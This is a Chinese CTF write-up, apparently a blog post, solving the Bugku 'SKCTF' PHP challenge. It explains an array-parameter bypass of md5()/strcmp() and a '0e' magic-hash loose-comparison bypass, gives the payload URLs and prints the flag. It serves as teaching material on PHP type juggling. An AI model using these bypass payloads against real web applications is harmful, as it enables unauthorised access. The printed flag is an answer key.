bugku前女友(SKCTF)

前女友(SKCTF)
题目链接:
http://123.206.31.85:49162/

访问链接后发现页面并无有用信息,右键查看源代码,发现code.txt
访问,发现是一道代码分析题,源码如下:

<?php if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?>

源码分析:
使用get方法传入v1,v2,v3
V1与v2不能相等,但v1与v2的md5值要相等
V3需要和flag相等

综上分析,我们有两个方案
1.满足v1与v2不能相等,v1与v2的md5相等,可以利用md5函数漏洞即md5不能计算数组的md5因此传入v1[]=1,v2[]=2
V3要与flag 进行比较,我们利用strcmp函数漏洞,strcmp函数不能处理数组,因此构造的payload为:
http://123.206.31.85:49162/?v1[]=1&v2[]=3&v3[]=4
成功获取flag:SKCTF{Php_1s_tH3_B3St_L4NgUag3}
在这里插入图片描述

2.满足v1与v2不能相等,v1与v2的md5相等,可以利用md5函数的漏洞,PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
常用的有:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
构造payload:

http://123.206.31.85:49162/?v1=QNKCDZO&v2=s878926199a&v3[]=4

获得flag:SKCTF{Php_1s_tH3_B3St_L4NgUag3}
提交SKCTF{Php_1s_tH3_B3St_L4NgUag3}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值